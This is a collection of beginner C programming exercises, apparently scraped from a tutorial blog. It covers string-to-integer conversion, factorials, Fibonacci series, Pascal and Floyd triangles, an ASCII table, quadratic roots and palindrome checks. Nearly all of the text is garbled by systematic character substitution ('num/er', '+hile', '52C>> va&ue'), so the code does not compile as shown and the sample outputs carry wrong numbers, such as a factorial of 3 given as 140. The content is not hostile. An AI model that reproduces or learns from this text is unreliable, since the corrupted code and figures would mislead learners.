#include<stdio.h> int strin"Go)nt(char[] ); int main(){ char str[10]; int intValue; printf(" nter an! inte"er as a strin"# "); scanf("$s"%str); intValue = strin"Go)nt(str);

printf(" ;ui*alent inte"er *alue# $d"%intValue); return 0; int strin"Go)nt(char str[]){ int i=0%sum=0; +hile(str[i]7=8908){ if(str[i]< 25 KK str[i] > 3L){ printf("Nna/le to con*ert it into inte"er.9n"); return 0; else{ sum = sumB10 , (str[i] D 25); i,,; return sum; 'ample output# nter an! inte"er as a strin"# 146 ;ui*alent inte"er *alue# 146

'rite a program to find out )$& fa tor of gi"en number


Alogrithm: In the mathematics nCr has defined as n (r = n7 R((nDr)7r7)

Code : #include<stdio.h> int main(){ int n%r%ncr; printf(" nter an! t+o num/ersD>"); scanf("$d $d"%<n%<r); ncr=fact(n)R(fact(r)Bfact(nDr)); printf("Ghe I(C factor of $d and $d is $d"%n%r%ncr); return 0; -

int fact(int n){ int i=1; while(n7=0){ i=iBn; nDD; return i; *o comments+ 2ategory + Program

F%). P&%M+ FA$*(&S (F A )-M2+& -S%), $ P&(,&AM


Prime factor of a number in c #include<stdio.h> int main(){ int num%i=1%>%=; printf("9n nter a num/er#"); scanf("$d"%<num); +hile(i<=num){ ==0; if(num$i==0){ >=1; +hile(><=i){ if(i$>==0) =,,; >,,; if(===4) printf("9n$d is a prime factor"%i); i,,; return 0; *o comments+ 2ategory + Program

F%). (-* ,+)+&%$ &((* (F A )-M2+& 2y $ P&(,&AM

&eaning of generic root# )t sum of di"its of a num/er unit +e don8t "et a sin"le di"it. Por eJample# ]eneric root of 231# 2 , 3 , 1 = 13 since 13 is t+o di"it num/ers so 1 , 3 = 1 'o% "eneric root of 231 = 1 C program for generic root #include<stdio.h> int main(){ lon" int num,sum,r; printf("9n nter a num/er#D"); scanf("$ld"%<num); +hile(num>10){ sum=0; +hile(num){ r=num$10; num=numR10; sum,=r; if(sum>10) num=sum; else /rea=; printf("9n'um of the di"its in sin"le di"it is# $ld"%sum); return 0; C code for calculation of generic root in one line #include <stdio.h> int main(){ int num%J; printf(" nter an! num/er# "); scanf("$d"%<num); printf("]eneric root# $d"%(J=num$0)aJ#0); return 0; Sample output: nter an! num/er# L61

]eneric root# 4
*o comments+ 2ategory + Program

Find Ma#imum and Minimum number from any number of input5

#include<stdio.h> #include<conio.h> #de&ine si:e > void main( ! int no?si:e@"min/0"ma;/0"i$ clrscr( $ &or(i/0$i<si:e$i00 ! %rint&('(n Please )nter -d number + , '"i01 $ scan&('-d'".no?i@ $ 1 min/ma;/no?i@$ &or(i/0$i<si:e$i00 ! i&(min>no?i@ ! min/no?i@$ 1 i&(ma;<no?i@ ! ma;/no?i@$ 1 1 %rint&('(n 4inimum *o is + , -d'"min $ %rint&('(n 4a;imum *o is + , -d'"ma; $

getch( $ 1
*o comments+ 2ategory + Program

'rite a program to find largest among three numbers using onditional operator
rite a c program to find largest numbers using conditional operator #include<stdio.h> int main(){ int a%/%c%/i"; printf("9n nter 6 num/ers#"); scanf("$d $d $d"%<a%</%<c); /i"=(a>/<<a>caa#/>ca/#c); printf("9nGhe /i""est num/er is# $d"%/i"); return 0; among three

*o comments+ 2ategory + Program

'rite a program to find largest among three numbers using binary minus operator
#include<stdio.h> int main(){ int a%/%c; printf("9n nter 6 num/ers# "); scanf("$d $d $d"%<a%</%<c); if(aD/>0 << aDc>0) printf("9n]reatest is a #$d"%a); else if(/Dc>0) printf("9n]reatest is / #$d"%/); else printf("9n]reatest is c #$d"%c); return 0; *o comments+

2ategory + Program

'rite a program to subtra t two numbers without using subtra tion operator
rite a c program or code to subtract two numbers without using subtraction operator #include<stdio.h> int main(){ int a%/; int sum; printf(" nter an! t+o inte"ers# "); scanf("$d$d"%<a%</); sum = a , `/ , 1; printf("Hifference of t+o inte"ers# $d"%sum); return 0;

'ample .utput# nter an! t+o inte"ers# 3 2 Hifference of t+o inte"ers# 1


*o comments+ 2ategory + Program

'rite a program to add two numbers without using addition operator


Add two numbers in c without using operator How to add two numbers without using the plus operator in c #include<stdio.h>

int main(){ int a%/; int sum; printf(" nter an! t+o inte"ers# "); scanf("$d$d"%<a%</); RRsum = a D (D/); sum = a D `/ D1; printf("'um of t+o inte"ers# $d"%sum); return 0;

'ample output# nter an! t+o inte"ers# 3 10 'um of t+o inte"ers# 13

Algorithm:
)n c ` is 18s complement operator. Ghis is e;ui*alent to# `a = D/ , 1 'o% a D `/ D1 = aD(D/ , 1) , 1 = a , / M 1 , 1 = a , /
*o comments+ 2ategory + Program

F%). P('+& (F A )-M2+& -S%), $ P&(,&AM


How to calculate power of a number in c How to write power in c

#include<stdio.h> int main(){ int po+%num%i=1; lon" int sum=1; printf("9n nter a num/er# "); scanf("$d"%<num); printf("9n nter po+er# "); scanf("$d"%<po+); +hile(i<=po+){ sum=sumBnum; i,,; printf("9n$d to the po+er $d is# $ld"%num%po+%sum); return 0; *o comments+ 2ategory + Program

'rite a program to find out sum of digit of gi"en number


(ode 1# 1. C program to add digits of a number 4. C program for sum of digits of a number 6. C program to calculate sum of digits #include<stdio.h> int main(){ int num%sum=0%r; printf(" nter a num/er# "); scanf("$d"%<num); +hile(num){ r=num$10; num=numR10; sum=sum,r; printf("'um of di"its of num/er# return 0; -

$d"%sum);

'ample output# nter a num/er# 146 'um of di"its of num/er# (ode 4#

1. Sum of digits of a number in c using for loop #include<stdio.h> int main(){ int num%sum=0%r; printf(" nter a num/er# "); scanf("$d"%<num); for(;num7=0;num=numR10){ r=num$10; sum=sum,r; printf("'um of di"its of num/er# return 0;

$d"%sum);

'ample output# nter a num/er# 31L 'um of di"its of num/er# (ode 6#

15

1. Sum of digits in c using recursion #include<stdio.h> int "et'um(int); int main(){ int num%sum; printf(" nter a num/er# "); scanf("$d"%<num); sum = "et'um(num); printf("'um of di"its of num/er# return 0; $d"%sum);

int "et'um(int num){ static int sum =0%r; if(num7=0){ r=num$10; sum=sum,r; "et'um(numR10); return sum;

'ample output# nter a num/er# 23 'um of di"its of num/er#


Reverse any number using c program Code 1:

1. rite a c program to reverse a given number !. C program to find reverse of a number ". C program to reverse t#e digits of a number $. Reverse of a number in c using %#i&e &oop 'inc&ude(stdio.#) int main()* int num,r,reverse+,; printf("-nter any number: "); scanf("%d",&num); %#i&e(num)* r+num%1,; reverse+reverse.1,/r; num+num01,; 1 printf("Reversed of number: %d",reverse); return ,; 1

2amp&e output: -nter any number: 1! Reversed of number: !1 Code !: 1. Reverse very &arge or big numbers beyond t#e range of &ong int !. Reverse five digit number c program 3ogic is %e accept t#e number as string 'inc&ude(stdio.#) 'define 456 1,,, int main()* c#ar num74568; int i+,,9,f&ag+,; printf("-nter any positive integer: "); scanf("%s",num); %#i&e(num7i8)* if(num7i8 ( $: ;; num7i8 ) <=)* printf(">nva&id integer number"); return ,; 1 i//; 1 printf("Reverse: "); for(9+i?1;9)+,;9??) if(f&ag++, && num798 ++$:)* 1 e&se* printf("%c",num798); f&ag +1; 1 return ,; 2amp&e output: -nter any positive integer: !"$<@1,,,,$<@$<@=A,,1!"=:,,,,,,,,,,, Reverse: :="!1,,A=@<$@<$,,,,1@<$"!

Code ": 1. C program to reverse a number using for &oop !. Bo% to find reverse of a number in c ". ap to reverse a number in c 'inc&ude(stdio.#) int main()* int num,r,reverse+,; printf("-nter any number: "); scanf("%d",&num); for(;numC+,;num+num01,)* r+num%1,; reverse+reverse.1,/r; 1 printf("Reversed of number: %d",reverse); return ,; 1 2amp&e output: -nter any number: 1!" Reversed of number: "!1 Code $: 1. C program to reverse a number using recursion 'inc&ude(stdio.#) int main()* int num,reverse; printf("-nter any number: "); scanf("%d",&num); reverse+rev(num); printf("Reverse of number: %d",reverse); return ,; 1 int rev(int num)* static sum,r; if(num)* r+num%1,;

sum+sum.1,/r; rev(num01,); 1 e&se return ,; return sum; 1 2amp&e output: -nter any number: $<@ Reverse of number: @<$ Do comments: Category : Erogram %rite a c program %#ic# produces its o%n source code as its output Bo% do you %rite a program %#ic# produces its o%n source code as its output in c &anguageF 'inc&ude(stdio.#) int main()* G>3- .fp; c#ar c; fp + fopen(HHG>3-HH,"r"); do* c+ getc(fp); putc#ar(c); 1 %#i&e(cC+-IG); fc&ose(fp); return ,; 1 Iutput: 'inc&ude(stdio.#) int main()* G>3- .fp; c#ar c; fp + fopen(HHG>3-HH,"r"); do* c+ getc(fp); putc#ar(c);

1 %#i&e(cC+-IG); fc&ose(fp); return ,; 1 Do comments: Category : Erogram ER>DJ>DK 52C>> L53M- M2>DK C ERIKR54 Erinting ascii va&ue using c program C code for 52C>> tab&e C program to disp&ay 52C>> va&ues 'inc&ude(stdio.#) int main()* int i; for(i+,;i(+!<<;i//) printf("52C>> va&ue of c#aracter %c: %dNn",i,i); return ,; 1 Iutput: 52C>> va&ue of c#aracter : , 52C>> va&ue of c#aracter O: 1 52C>> va&ue of c#aracter P: ! 52C>> va&ue of c#aracter Q: " 52C>> va&ue of c#aracter R: $ 52C>> va&ue of c#aracter S: < 52C>> va&ue of c#aracter T: @ 52C>> va&ue of c#aracter : = 52C>> va&ue of c#aracter: : 52C>> va&ue of c#aracter : 52C>> va&ue of c#aracter : 1, 52C>> va&ue of c#aracter U: 11 52C>> va&ue of c#aracter V: 1! : 1"> va&ue of c#aracter 52C>> va&ue of c#aracter W: 1$ 52C>> va&ue of c#aracter X: 1< 52C>> va&ue of c#aracter Y: 1@

52C>> va&ue of c#aracter Z: 1= 52C>> va&ue of c#aracter [: 1: 52C>> va&ue of c#aracter \: 1A 52C>> va&ue of c#aracter ]: !, 52C>> va&ue of c#aracter ^: !1 52C>> va&ue of c#aracter _: !! 52C>> va&ue of c#aracter `: !" 52C>> va&ue of c#aracter a: !$ 52C>> va&ue of c#aracter b: !< 52C>> va&ue of c#aracter c: !@ 52C>> va&ue of c#aracter d: != 52C>> va&ue of c#aracter e: !: 52C>> va&ue of c#aracter f: !A 52C>> va&ue of c#aracter g: ", 52C>> va&ue of c#aracter h: "1 52C>> va&ue of c#aracter : "! 52C>> va&ue of c#aracter C: "" 52C>> va&ue of c#aracter ": "$ 52C>> va&ue of c#aracter ': "< 52C>> va&ue of c#aracter i: "@ 52C>> va&ue of c#aracter %: "= 52C>> va&ue of c#aracter &: ": 52C>> va&ue of c#aracter j: "A 52C>> va&ue of c#aracter (: $, 52C>> va&ue of c#aracter ): $1 52C>> va&ue of c#aracter .: $! 52C>> va&ue of c#aracter /: $" 52C>> va&ue of c#aracter ,: $$ 52C>> va&ue of c#aracter ?: $< 52C>> va&ue of c#aracter .: $@ 52C>> va&ue of c#aracter 0: $= 52C>> va&ue of c#aracter ,: $: 52C>> va&ue of c#aracter 1: $A 52C>> va&ue of c#aracter !: <, 52C>> va&ue of c#aracter ": <1 52C>> va&ue of c#aracter $: <! 52C>> va&ue of c#aracter <: <" 52C>> va&ue of c#aracter @: <$ 52C>> va&ue of c#aracter =: << 52C>> va&ue of c#aracter :: <@ 52C>> va&ue of c#aracter A: <= 52C>> va&ue of c#aracter :: <: 52C>> va&ue of c#aracter ;: <A 52C>> va&ue of c#aracter (: @, 52C>> va&ue of c#aracter +: @1 52C>> va&ue of c#aracter ): @!

52C>> va&ue of c#aracter F: @" 52C>> va&ue of c#aracter k: @$ 52C>> va&ue of c#aracter 5: @< 52C>> va&ue of c#aracter l: @@ 52C>> va&ue of c#aracter C: @= 52C>> va&ue of c#aracter m: @: 52C>> va&ue of c#aracter -: @A 52C>> va&ue of c#aracter G: =, 52C>> va&ue of c#aracter K: =1 52C>> va&ue of c#aracter B: =! 52C>> va&ue of c#aracter >: =" 52C>> va&ue of c#aracter n: =$ 52C>> va&ue of c#aracter o: =< 52C>> va&ue of c#aracter 3: =@ 52C>> va&ue of c#aracter 4: == 52C>> va&ue of c#aracter D: =: 52C>> va&ue of c#aracter I: =A 52C>> va&ue of c#aracter E: :, 52C>> va&ue of c#aracter p: :1 52C>> va&ue of c#aracter R: :! 52C>> va&ue of c#aracter 2: :" 52C>> va&ue of c#aracter J: :$ 52C>> va&ue of c#aracter M: :< 52C>> va&ue of c#aracter L: :@ 52C>> va&ue of c#aracter : := 52C>> va&ue of c#aracter 6: :: 52C>> va&ue of c#aracter q: :A 52C>> va&ue of c#aracter r: A, 52C>> va&ue of c#aracter 7: A1 52C>> va&ue of c#aracter N: A! 52C>> va&ue of c#aracter 8: A" 52C>> va&ue of c#aracter s: A$ 52C>> va&ue of c#aracter H: A< 52C>> va&ue of c#aracter t: A@ 52C>> va&ue of c#aracter a: A= 52C>> va&ue of c#aracter b: A: 52C>> va&ue of c#aracter c: AA 52C>> va&ue of c#aracter d: 1,, 52C>> va&ue of c#aracter e: 1,1 52C>> va&ue of c#aracter f: 1,! 52C>> va&ue of c#aracter g: 1," 52C>> va&ue of c#aracter #: 1,$ 52C>> va&ue of c#aracter i: 1,< 52C>> va&ue of c#aracter 9: 1,@ 52C>> va&ue of c#aracter u: 1,= 52C>> va&ue of c#aracter &: 1,:

52C>> va&ue of c#aracter m: 1,A 52C>> va&ue of c#aracter n: 11, 52C>> va&ue of c#aracter o: 111 52C>> va&ue of c#aracter p: 11! 52C>> va&ue of c#aracter v: 11" 52C>> va&ue of c#aracter r: 11$ 52C>> va&ue of c#aracter s: 11< 52C>> va&ue of c#aracter t: 11@ 52C>> va&ue of c#aracter u: 11= 52C>> va&ue of c#aracter v: 11: 52C>> va&ue of c#aracter %: 11A 52C>> va&ue of c#aracter w: 1!, 52C>> va&ue of c#aracter y: 1!1 52C>> va&ue of c#aracter x: 1!! 52C>> va&ue of c#aracter *: 1!" 52C>> va&ue of c#aracter ;: 1!$ 52C>> va&ue of c#aracter 1: 1!< 52C>> va&ue of c#aracter y: 1!@ 52C>> va&ue of c#aracter z: 1!= 52C>> va&ue of c#aracter {: 1!: 52C>> va&ue of c#aracter |: 1!A 52C>> va&ue of c#aracter }: 1", 52C>> va&ue of c#aracter ~: 1"1 52C>> va&ue of c#aracter : 1"! 52C>> va&ue of c#aracter : 1"" 52C>> va&ue of c#aracter : 1"$ 52C>> va&ue of c#aracter : 1"< 52C>> va&ue of c#aracter : 1"@ 52C>> va&ue of c#aracter : 1"= 52C>> va&ue of c#aracter : 1": 52C>> va&ue of c#aracter : 1"A 52C>> va&ue of c#aracter : 1$, 52C>> va&ue of c#aracter : 1$1 52C>> va&ue of c#aracter : 1$! 52C>> va&ue of c#aracter : 1$" 52C>> va&ue of c#aracter : 1$$ 52C>> va&ue of c#aracter : 1$< 52C>> va&ue of c#aracter : 1$@ 52C>> va&ue of c#aracter : 1$= 52C>> va&ue of c#aracter : 1$: 52C>> va&ue of c#aracter : 1$A 52C>> va&ue of c#aracter : 1<, 52C>> va&ue of c#aracter : 1<1 52C>> va&ue of c#aracter : 1<! 52C>> va&ue of c#aracter : 1<" 52C>> va&ue of c#aracter : 1<$

52C>> va&ue of c#aracter : 1<< 52C>> va&ue of c#aracter : 1<@ 52C>> va&ue of c#aracter : 1<= 52C>> va&ue of c#aracter : 1<: 52C>> va&ue of c#aracter : 1<A 52C>> va&ue of c#aracter : 1@, 52C>> va&ue of c#aracter : 1@1 52C>> va&ue of c#aracter : 1@! 52C>> va&ue of c#aracter : 1@" 52C>> va&ue of c#aracter : 1@$ 52C>> va&ue of c#aracter : 1@< 52C>> va&ue of c#aracter : 1@@ 52C>> va&ue of c#aracter : 1@= 52C>> va&ue of c#aracter : 1@: 52C>> va&ue of c#aracter : 1@A 52C>> va&ue of c#aracter : 1=, 52C>> va&ue of c#aracter : 1=1 52C>> va&ue of c#aracter : 1=! 52C>> va&ue of c#aracter : 1=" 52C>> va&ue of c#aracter : 1=$ 52C>> va&ue of c#aracter : 1=< 52C>> va&ue of c#aracter : 1=@ 52C>> va&ue of c#aracter : 1== 52C>> va&ue of c#aracter -: 1=: 52C>> va&ue of c#aracter : 1=A 52C>> va&ue of c#aracter : 1:, 52C>> va&ue of c#aracter : 1:1 52C>> va&ue of c#aracter : 1:! 52C>> va&ue of c#aracter : 1:" 52C>> va&ue of c#aracter : 1:$ 52C>> va&ue of c#aracter : 1:< 52C>> va&ue of c#aracter : 1:@ 52C>> va&ue of c#aracter : 1:= 52C>> va&ue of c#aracter : 1:: 52C>> va&ue of c#aracter : 1:A 52C>> va&ue of c#aracter : 1A, 52C>> va&ue of c#aracter : 1A1 52C>> va&ue of c#aracter : 1A! 52C>> va&ue of c#aracter : 1A" 52C>> va&ue of c#aracter : 1A$ 52C>> va&ue of c#aracter : 1A< 52C>> va&ue of c#aracter : 1A@ 52C>> va&ue of c#aracter : 1A= 52C>> va&ue of c#aracter : 1A: 52C>> va&ue of c#aracter : 1AA 52C>> va&ue of c#aracter : !,,

52C>> va&ue of c#aracter : !,1 52C>> va&ue of c#aracter : !,! 52C>> va&ue of c#aracter : !," 52C>> va&ue of c#aracter : !,$ 52C>> va&ue of c#aracter : !,< 52C>> va&ue of c#aracter : !,@ 52C>> va&ue of c#aracter : !,= 52C>> va&ue of c#aracter : !,: 52C>> va&ue of c#aracter : !,A 52C>> va&ue of c#aracter : !1, 52C>> va&ue of c#aracter : !11 52C>> va&ue of c#aracter : !1! 52C>> va&ue of c#aracter : !1" 52C>> va&ue of c#aracter : !1$ 52C>> va&ue of c#aracter : !1< 52C>> va&ue of c#aracter : !1@ 52C>> va&ue of c#aracter : !1= 52C>> va&ue of c#aracter : !1: 52C>> va&ue of c#aracter : !1A 52C>> va&ue of c#aracter : !!, 52C>> va&ue of c#aracter : !!1 52C>> va&ue of c#aracter : !!! 52C>> va&ue of c#aracter : !!" 52C>> va&ue of c#aracter : !!$ 52C>> va&ue of c#aracter : !!< 52C>> va&ue of c#aracter : !!@ 52C>> va&ue of c#aracter : !!= 52C>> va&ue of c#aracter : !!: 52C>> va&ue of c#aracter : !!A 52C>> va&ue of c#aracter : !", 52C>> va&ue of c#aracter : !"1 52C>> va&ue of c#aracter : !"! 52C>> va&ue of c#aracter : !"" 52C>> va&ue of c#aracter : !"$ 52C>> va&ue of c#aracter : !"< 52C>> va&ue of c#aracter : !"@ 52C>> va&ue of c#aracter : !"= 52C>> va&ue of c#aracter : !": 52C>> va&ue of c#aracter : !"A 52C>> va&ue of c#aracter : !$, 52C>> va&ue of c#aracter : !$1 52C>> va&ue of c#aracter : !$! 52C>> va&ue of c#aracter : !$" 52C>> va&ue of c#aracter : !$$ 52C>> va&ue of c#aracter : !$< 52C>> va&ue of c#aracter : !$@

52C>> va&ue of c#aracter : !$= 52C>> va&ue of c#aracter : !$: 52C>> va&ue of c#aracter : !$A 52C>> va&ue of c#aracter : !<, 52C>> va&ue of c#aracter : !<1 52C>> va&ue of c#aracter : !<! 52C>> va&ue of c#aracter : !<" 52C>> va&ue of c#aracter : !<$ 52C>> va&ue of c#aracter : !<<

*( F%). M-0*%P0%$A*%() *A20+ -S%), $ P&(,&AM


1. &ultiplication tables in c program 4. rite a c program to print multiplication table 6. Code for multiplication table in c 2. &ultiplication table in c language 3. rite a c program to print multiplication table #include<stdio.h> int main(){ int r%i%>%=; printf(" nter the num/er ran"e# "); scanf("$d"%<r); for(i=1;i<=r;i,,){ for(>=1;><=10;>,,) printf("$dB$d=$d "%i%>%iB>); printf("9n"); return 0; 'ample .utput#
nter the num/er ran"e# 3 1B1=1 1B4=4 1B6=6 1B2=2 1B3=3 1B1=1 1BL=L 1B5=5 1B0=0 1B10=10 4B1=4 4B4=2 4B6=1 4B2=5 4B3=10 4B1=14 4BL=12 4B5=11 4B0=15 4B10=40 6B1=6 6B4=1 6B6=0 6B2=14 6B3=13 6B1=15 6BL=41 6B5=42 6B0=4L 6B10=60

2B1=2 2B0=61 3B1=3 3B0=23

2B4=5 2B6=14 2B2=11 2B3=40 2B1=42 2B10=20 3B4=10 3B6=13 3B2=40 3B3=43 3B1=60 3B10=30

2BL=45 3BL=63

2B5=64 3B5=20

*o comments+ 2ategory + Program

'rite a

program to print Pas al triangle5

1. Pascal triangle in c without using array 4. C code to print Pascal triangle 6( Simple c program for Pascal triangle 2. C program to generate Pascal triangle 3. Pascal triangle program in c language 1. C program to print Pascal triangle using for loop #include<stdio.h> lon" fact(int); int main(){ int line%i%>; printf(" nter the no. of lines# "); scanf("$d"%<line); for(i=0;i<line;i,,){ for(>=0;><lineDiD1;>,,) printf(" "); for(>=0;><=i;>,,) printf("$ld "%fact(i)R(fact(>)Bfact(iD >))); printf("9n"); return 0; lon" fact(int num){ lon" f=1; int i=1; +hile(i<=num){ f=fBi;

Sample output: nter the no. of lines# 5 1 1 1 1 4 1 1 6 6 1 1 2 1 2 1 1 3 10 10 3 1 1 1 13 40 13 1 1 1 L 41 63 63 41 L 1


*o comments+ 2ategory + Program

return f;

i,,;

'rite a

program for FloydEs triangle5

hat is .loydBs triangle3 "efinition of floydCs triangle: Plo!d8s trian"le is a ri"ht an"ledDtrian"le usin" the natural num/ers. Jamples of flo!d8s trian"le# Jample 1# 1 4 6 2 3 1 L 5 0 10 Jample 4# 1 4 2 L 11 11 6 3 5 14 1L

1 0 16 15

10 12 10

13 40 41

'( rite a c program to print .loydBs triangle #( C program to display .loydBs triangle %( How to print .loydBs triangle in c

#include<stdio.h> int main(){ int i%>%r%==1; printf(" nter the ran"e# "); scanf("$d"%<r); printf("PO.^H8' GC)&I]O 9n9n"); for(i=1;i<=r;i,,){ for(>=1;><=i;>,,%=,,) printf(" $d"%=); printf("9n"); return 0; 'ample output# nter the ran"e# 10 PO.^H8' GC)&I]O 1 4 6 2 3 1 L 5 0 10 11 14 16 12 13 11 1L 15 10 40 41 44 46 42 43 41 4L 45 40 60 61 64 66 62 63 61 6L 65 60 20 21 24 26 22 23 21 2L 25 20 30 31 34 36 32 33
*o comments+ 2ategory + Program

*( F%). FA$*(&%A0 (F A )-M2+& -S%), $ P&(,&AM


Alogrithm: .actorial value Pactorial of num/er is defined as# Pactorial (n) = 1B4B6 Z B n Por eJample# Pactorial of 3 = 1B4B6B2B3 = 140 Iote# Pactorial of Qero = 1

(ode 1# 1. C code for factorial of a number 4. C program to find the factorial of a given number 6. .actorial program in c using while loop 2. .actorial program in c without using recursion #include<stdio.h> int main(){ int i=1%f=1%num; printf(" nter a num/er# "); scanf("$d"%<num); +hile(i<=num){ f=fBi; i,,; printf("Pactorial of $d is# $d"%num%f); return 0; 'ample output# nter a num/er# 3 Pactorial of 3 is# 140 (ode 4# 1. .actorial program in c using for loop 4. Simple factorial program in c 6. C program to calculate factorial #include<stdio.h> int main(){ int i%f=1%num; printf(" nter a num/er# "); scanf("$d"%<num); for(i=1;i<=num;i,,) f=fBi; printf("Pactorial of $d is# $d"%num%f); return 0; (ode 6# 1. .actorial program in c using pointers

4. How to calculate factorial in c 6. .actorial program in c language #include<stdio.h> *oid findPactorial(int%int B); int main(){ int i%factorial%num; printf(" nter a num/er# "); scanf("$d"%<num); findPactorial(num%<factorial); printf("Pactorial of $d is# $d"%num%Bfactorial); return 0; *oid findPactorial(int num%int Bfactorial){ int i; Bfactorial =1; for(i=1;i<=num;i,,) Bfactorial=BfactorialBi; (ode 2# 1. .actorial program in c using function 4. C program to find factorial of a number #include<stdio.h> int findPactorial(int); int main(){ int i%factorial%num; printf(" nter a num/er# "); scanf("$d"%<num); factorial = findPactorial(num); printf("Pactorial of $d is# $d"%num%factorial); return 0; int findPactorial(int num){ int i%f=1; for(i=1;i<=num;i,,) f=fBi; return f; 'ample output#

nter a num/er# 5 Pactorial of 5 is# 20640 (ode 3# 1. .actorial series in c #include<stdio.h> int main(){ lon" f=1; int i%num%min%maJ; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); printf("Pactorial series in "i*en ran"e# "); for(num=min;num<=maJ;num,,){ f=1; for(i=1;i<=num;i,,) f=fBi; printf("$ld "%f); return 0; 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 10 Pactorial series in "i*en ran"e# 1 4 1 42 140 L40 3020 20640 614550 6145500
*o comments+ 2ategory + Program

*( F%). F%2()A$$% S+&%+S -S%), $ P&(,&AM


Alogrithm: hat is .ibonacci series3 @ogic of .ibonacci series "efinition of .ibonacci numbers: Se assume first t+o Pi/onacci are 0 and 1

& series of num/ers in +hich sum of its t+o pre*ious Pi/onacci series and called Pi/onacci num/ers. 'o

each se;uent num/er is num/ers is =no+n as each num/ers are Pi/onacci num/ers is

Algorithm for .ibonacci series Pn = PnD4 , PnD1 -!ample of .ibonacci series: 0 % 1 %1 % 4 % 6 % 3 % 5 % 16 % 3 is Pi/onacci num/er since sum num/er i.e. 4 and 6 is 3 5 is Pi/onacci num/er since sum num/er i.e. 6 and 3 is 5 and so (ode 1# 1. rite program to generate the .ibonacci series in c 4. rite program to print .ibonacci series in c 6. 4asic c programs .ibonacci series 2. How to print .ibonacci series in c 3. How to find .ibonacci series in c programming 1. .ibonacci series in c using for loop #include<stdio.h> int main(){ int =%r; lon" int i=0l%>=1%f; RRGa=in" maJimum num/ers form user printf(" nter the num/er ran"e#"); scanf("$d"%<r); printf("P):.I&(() ' C) '# "); printf("$ld $ld"%i%>); RRprintin" firts t+o *alues. for(==4;=<r;=,,){ f=i,>; i=>; >=f; printf(" $ld"%>); return 0; 41 % 62 % 33 ... of its t+o pre*ious of its t+o pre*ious on

'ample output# nter the num/er ran"e# 13 P):.I&(() ' C) '# 0 1 1 4 6 3 5 16 41 62 33 50 122 466 6LL (ode 4# 1. .ibonacci series using array in c 4. .ibonacci series program in c language 6. Source code of .ibonacci series in c 2. ap to print .ibonacci series in c #include<stdio.h> int main(){ int i%ran"e; lon" int arr[20]; printf(" nter the num/er ran"e# "); scanf("$d"%<ran"e); arr[0]=0; arr[1]=1; for(i=4;i<ran"e;i,,){ arr[i] = arr[iD1] , arr[iD4]; printf("Pi/onacci series is# "); for(i=0;i<ran"e;i,,) printf("$ld "%arr[i]); return 0;

'ample output# nter the num/er ran"e# 40 Pi/onacci series is# 0 1 1 4 6 3 5 16 41 62 33 50 122 466 6LL 110 05L 130L 4352 2151 (ode 6# 1. .ibonacci series in c using while loop 4. C program to calculate .ibonacci series 6. C program to display .ibonacci series 2. .ibonacci series in c with e!planation 3. C code to generate .ibonacci series #include<stdio.h>

int main(){ int ==4%r; lon" int i=0l%>=1%f; printf(" nter the num/er ran"e#"); scanf("$d"%<r); printf("Pi/onacci series is# $ld $ld"%i%>); +hile(=<r){ f=i,>; i=>; >=f; printf(" $ld"%>); =,,; 'ample output# nter the num/er ran"e# 10 Pi/onacci series is# 0 1 1 4 6 3 5 16 41 62 (ode 2# 1. Sum of .ibonacci series in c #include<stdio.h> int main(){ int =%r; lon" int i=0%>=1%f; lon" int sum = 1; printf(" nter the num/er ran"e# "); scanf("$d"%<r); for(==4;=<r;=,,){ f=i,>; i=>; >=f; sum = sum , >; printf("'um of Pi/onacci series is# $ld"%sum); return 0; return 0;

'ample output# nter the num/er ran"e# 2 'um of Pi/onacci series is# 2
3howing %osts with label Program. 3how all %osts

$ program for sol"ing 3uadrati e3uation

1. C program to calculate roots of a 0uadratic e0uation 4. 1uadratic e0uation in c language #include<stdio.h> #include<math.h> int main(){ float a%/%c; float d%root1%root4; printf(" nter a% / and c of ;uadratic e;uation# "); scanf("$f$f$f"%<a%</%<c); d = / B / D 2 B a B c; if(d < 0){ printf("Coots are compleJ num/er.9n"); printf("Coots of ;uadratic e;uation are# "); printf("$.6f$,.6fi"%D/R(4Ba)%s;rt(Dd)R(4Ba)); printf("% $.6f$,.6fi"%D/R(4Ba)%Ds;rt(Dd)R (4Ba)); return 0; else if(d==0){ printf(":oth roots are e;ual.9n"); root1 = D/ R(4B a); printf("Coot of ;uadratic e;uation is# $.6f "%root1); return 0; else{ printf("Coots are real num/ers.9n");

root1 = ( D/ , s;rt(d)) R (4B a); root4 = ( D/ D s;rt(d)) R (4B a); printf("Coots of ;uadratic e;uation are# $.6f % $.6f"%root1%root4); return 0; 'ample output# nter a% / and c of ;uadratic e;uation# 4 2 1 Coots are real num/ers. Coots of ;uadratic e;uation are# D0.406% D1.L0L 1. How to find a b and c in a 0uadratic e0uation #include<stdio.h> #include<math.h> int main(){ float a%/%c; float d%root1%root4; printf(" nter ;uadratic e;uation in the format aJF4,/J,c# "); scanf("$fJF4$fJ$f"%<a%</%<c); d = / B / D 2 B a B c; if(d < 0){ printf("Coots are compleJ num/er.9n"); return 0; root1 = ( D/ , s;rt(d)) R (4B a); root4 = ( D/ D s;rt(d)) R (4B a); printf("Coots of ;uadratic e;uation are# $.6f % $.6f"%root1%root4); return 0; 'ample output# nter ;uadratic e;uation in the format aJF4,/J,c# 4JF4,2J,D1

Coots of ;uadratic e;uation are# 0.000% D4.000


*o comments+ 2ategory + Program

'rite a program to he = gi"en string is palindrome or not


"efinition of Palindrome string: & strin" is called palindrome if it s!mmetric. )n other +ord a strin" is called palindrome if strin" remains same if its characters are re*ersed. Por eJample# asdsa )f +e +ill re*erse it +ill remain same i.e. asdsa Jample of strin" palindrome# aa%a/a%madam%;+ertre+; etc. (ode 1. #include<strin".h> #include<stdio.h> int main(){ char Bstr%Bre*; int i%>; printf("9n nter a strin"#"); scanf("$s"%str); for(i=strlen(str)D1%>=0;i>=0;iDD%>,,) re*[>]=str[i]; re*[>]=8908; if(strcmp(re*%str)) printf("9nGhe strin" is not a palindrome"); else printf("9nGhe strin" is a palindrome"); return 0; (ode 4. #include <stdio.h> #include <conio.h> #include<strin".h> #define maJ 30 a%/%

